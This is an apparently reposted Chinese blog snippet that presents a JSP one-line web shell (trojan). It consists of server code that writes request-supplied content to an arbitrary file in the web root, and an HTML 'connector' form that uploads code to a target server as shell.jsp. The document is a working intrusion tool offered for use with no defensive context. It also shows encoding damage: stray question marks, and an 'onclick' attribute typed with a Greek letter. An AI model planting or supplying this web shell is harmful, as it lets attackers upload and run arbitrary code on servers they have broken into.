jsp一句话
jsp一句話
?
<%??
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());??
%>
?
專用JSP木馬連接器
<html><head><title>JSP一句話木馬客戶端</title></head><div align=center> ?<font color=red>專用JSP木馬連接器</font><br><form name=get method=post>服務(wù)端地址<input name=url size=110 type=text> ?<br><br><textarea name=t rows=20 cols=120>你提交的代碼</textarea><br>保存成的文件名：<input name=f size=30 value=shell.jsp><input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> ?<br>服務(wù)端代碼：<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> ? </textarea> ?</div></body>
?
轉(zhuǎn)載于:https://www.cnblogs.com/nightnine/p/5502997.html
總結(jié)
